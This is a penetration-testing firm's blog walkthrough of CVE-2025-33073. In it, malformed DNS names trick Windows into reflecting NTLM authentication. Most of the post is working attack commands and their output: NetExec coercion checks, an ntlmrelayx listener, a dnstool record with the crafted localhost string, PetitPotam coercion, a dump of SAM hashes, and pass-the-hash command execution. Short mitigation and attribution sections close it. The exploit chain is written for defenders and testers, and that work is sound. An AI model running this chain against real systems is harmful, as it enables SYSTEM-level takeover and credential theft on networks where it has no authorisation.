Introduction
A new privilege escalation path has emerged, exploiting how Windows misinterprets remote connections as local when handling malformed DNS names.
This NTLM reflection technique bypasses longstanding protections, enabling authenticated attackers to coerce a Windows host to authenticate to itself, reflect the SYSTEM token, and execute commands with maximum privileges, without compromising any privileged accounts directly.
Historical Context.
NTLM Reflection was first exploited as early as the mid-2000s, targeting services like SMB, HTTP, or RPC reflecting NTLM authentication, allowing attackers to impersonate high-privilege users (especially SYSTEM or administrators).
Microsoft released mitigations over time:
- MS08-068 (2008): Patched classic NTLM reflection against SMB.
- SMB Signing: Prevents man-in-the-middle manipulation by enforcing integrity.
- Extended Protection for Authentication (EPA) and NTLM hardening further reduced the attack surface.
The core Issue
Windows uses hostname comparison to determine whether NTLM authentication is local. If it concludes that the target is itself, it engages local NTLM mode, which skips challenge-response verification and inserts the token directly into memory.
This logic breaks when using crafted DNS names that include marshalled metadata. Windows parses the DNS string, strips the metadata, and compares only the hostname (e.g., localhost), wrongly concluding the connection is local.
As a result, SYSTEM processes like lsass.exe can be coerced into authenticating to an attacker-controlled listener. The attacker then relays that SYSTEM token back via SMB, gaining SYSTEM-level access.
Video Walkthrough
Attack Requirements
- A valid low-privileged AD credential
- SMB signing disabled or not enforced
- Vulnerable Windows Server or Workstation
- Tools:
ntlmrelayx,PetitPotam,dnstool,NetExec (nxc)
Attack Walkthrough
1. Recon and Coercion Check
Verify SMB signing status and coercion vulnerabilities:
┌──(root㉿rbtsecurity)-[~]
└─$ nxc smb 192.168.115.185 -u scarter -p Passw0rd -M coerce_plus
SMB 192.168.115.185 445 WKSTN-3 [*] Windows 10 / Server 2019 Build 19041 x64 (name:WKSTN-3) (domain:shield.local) (signing:False) (SMBv1:False)
SMB 192.168.115.185 445 WKSTN-3 [+] shield.local\scarter:Passw0rd
COERCE_PLUS 192.168.115.185 445 WKSTN-3 VULNERABLE, PetitPotam
COERCE_PLUS 192.168.115.185 445 WKSTN-3 VULNERABLE, PrinterBug
COERCE_PLUS 192.168.115.185 445 WKSTN-3 VULNERABLE, PrinterBug
COERCE_PLUS 192.168.115.185 445 WKSTN-3 VULNERABLE, MSEven
2. Launch the SMB Relay Listener
We prepare ntlmrelayx to intercept NTLM authentication and relay it back to the target:
┌──(root㉿rbtsecurity)-[~]
└─$ impacket-ntlmrelayx -t wkstn-3.shield.local -smb2support
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Protocol Client RPC loaded..
[*] Protocol Client MSSQL loaded..
[*] Protocol Client SMTP loaded..
[*] Protocol Client SMB loaded..
[*] Protocol Client HTTPS loaded..
[*] Protocol Client HTTP loaded..
[*] Protocol Client LDAP loaded..
[*] Protocol Client LDAPS loaded..
[*] Protocol Client DCSYNC loaded..
[*] Protocol Client IMAP loaded..
[*] Protocol Client IMAPS loaded..
[*] Running in relay mode to single host
[*] Setting up SMB Server on port 445
[*] Setting up HTTP Server on port 80
[*] Setting up WCF Server on port 9389
[*] Setting up RAW Server on port 6666
[*] Multirelay disabled
[*] Servers started, waiting for connections
3. Register the DNS Record
We craft a special DNS entry to trick Windows into believing it’s communicating with itself:
python3 dnstool.py -u 'shield.local\scarter' -p 'Passw0rd' \
dc4.shield.local -a add \
-r 'localhost1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA' \
-d '192.168.115.178' -dns-ip 192.168.115.180
4. Coerce the Workstation using NetExec or PetitPotam
We now use NetExec or PetitPotam to coerce the victim host into initiating an outbound NTLM authentication using our spoofed DNS name:
┌──(root㉿rbtsecurity)-[~]
└─# nxc smb 192.168.115.185 -u scarter -p Passw0rd -M coerce_plus -o METHOD=PetitPotam LISTENER=localhost1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA
SMB 192.168.115.185 445 WKSTN-3 [*] Windows 10 / Server 2019 Build 19041 x64 (name:WKSTN-3) (domain:shield.local) (signing:False) (SMBv1:False)
SMB 192.168.115.185 445 WKSTN-3 [+] shield.local\scarter:Passw0rd
COERCE_PLUS 192.168.115.185 445 WKSTN-3 VULNERABLE, PetitPotam
COERCE_PLUS 192.168.115.185 445 WKSTN-3 Exploit Success, lsarpc\EfsRpcAddUsersToFile
python3 PetitPotam.py -u scarter -p Passw0rd -d shield.local \
localhost1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA \
wkstn-3.shield.local
5. Dumping SAM After SYSTEM Authentication
Once the coercion (authentication) succeeds, we extract the SYSTEM token and dump the SAM
┌──(root㉿rbtsecurity)-[~]
└─$ impacket-ntlmrelayx -t wkstn-3.shield.local -smb2support
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Protocol Client RPC loaded..
[*] Protocol Client MSSQL loaded..
[*] Protocol Client SMTP loaded..
[*] Protocol Client SMB loaded..
[*] Protocol Client HTTPS loaded..
[*] Protocol Client HTTP loaded..
[*] Protocol Client LDAP loaded..
[*] Protocol Client LDAPS loaded..
[*] Protocol Client DCSYNC loaded..
[*] Protocol Client IMAP loaded..
[*] Protocol Client IMAPS loaded..
[*] Running in relay mode to single host
[*] Setting up SMB Server on port 445
[*] Setting up HTTP Server on port 80
[*] Setting up WCF Server on port 9389
[*] Setting up RAW Server on port 6666
[*] Multirelay disabled
[*] Servers started, waiting for connections
[*] SMBD-Thread-5 (process_request_thread): Received connection from 192.168.115.185, attacking target smb://wkstn-3.shield.local
[*] Authenticating against smb://wkstn-3.shield.local as / SUCCEED
[*] All targets processed!
[*] SMBD-Thread-7 (process_request_thread): Connection from 192.168.115.185 controlled, but there are no more targets left!
[*] Service RemoteRegistry is in stopped state
[*] Service RemoteRegistry is disabled, enabling it
[*] Starting service RemoteRegistry
[*] Target system bootKey: 0x37e25629a1992a72be97236968ce3a53
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:7ddade167a491d4f28eb25728469310e:::
Polunchis:1000:aad3b435b51404eeaad3b435b51404ee:b897c7001bf1600723c81ec97bbf5b15:::
[*] Done dumping SAM hashes for host: wkstn-3.shield.local
[*] Stopping service RemoteRegistry
[*] Restoring the disabled state for service RemoteRegistry
6. Post Exploitation
Now we can use NetExec or any post-exploitation tool with the local admin credentials:
nxc smb 192.168.115.185 -u administrator -H 4b08728132d41e230b4ee268c5b42acb --local-auth -x whoami
Full Attack Screenshot
Conclusion
Despite Microsoft’s ongoing hardening efforts, legacy protocols like NTLM offer dangerous privilege escalation paths when misconfigurations align.
This is not a theoretical lab trick; we’ve seen misconfigured DNS + NTLM behavior exploited in live environments. All it takes is one overlooked setting, like SMB signing, to open the door.
At RBT Security, we simulate real-world attack chains so you’re not the next breach headline.
Want to see if you’re vulnerable to NTLM reflection?
Book an object-based penetration test or red team today: Contact Us
Detections & Mitigations
Enforce SMB Signing
- SMB signing prevents relay attacks, regardless of authentication type. It should be enforced domain-wide.
Apply Patches
- Microsoft’s fix for CVE-2025-33073 introduces stricter validation of DNS names during SMB authentication. Ensure the latest updates are deployed.
Attribution
- Read the original research here: NTLM reflection is dead, long live NTLM reflection! – An in-depth analysis of CVE-2025-33073
Christian Ramirez (a.k.a. Polunchis) is a seasoned cybersecurity professional with nearly two decades of hands-on experience in offensive security and adversarial simulations. He specializes in web application, cloud (AWS, Azure, GCP), and infrastructure penetration testing, having led numerous high-impact engagements that strengthened organizational resilience worldwide.
His expertise spans red and purple team assessments, exploit and malware development, advanced evasion techniques, and bypassing AV/EDR defenses. Over his career, Christian Ramirez has tested diverse environments including web services, APIs (SOAP & REST), thick clients, wireless networks, SAP ERP systems, and ATMs.
Renowned for delivering realistic adversary emulation and comprehensive threat analysis, Christian Ramirez empowers organizations to detect, defend, and respond to advanced threats effectively. Blending technical precision with strategic insight, he helps teams uncover vulnerabilities and elevate overall security maturity.
When not dissecting systems or leading red team operations, Christian Ramirez shares his knowledge through research, thought leadership, and collaborative defense initiatives that push the boundaries of modern cybersecurity.